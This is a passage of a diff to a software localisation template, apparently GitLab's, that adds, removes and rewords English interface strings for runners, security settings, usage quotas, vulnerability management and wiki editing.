msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
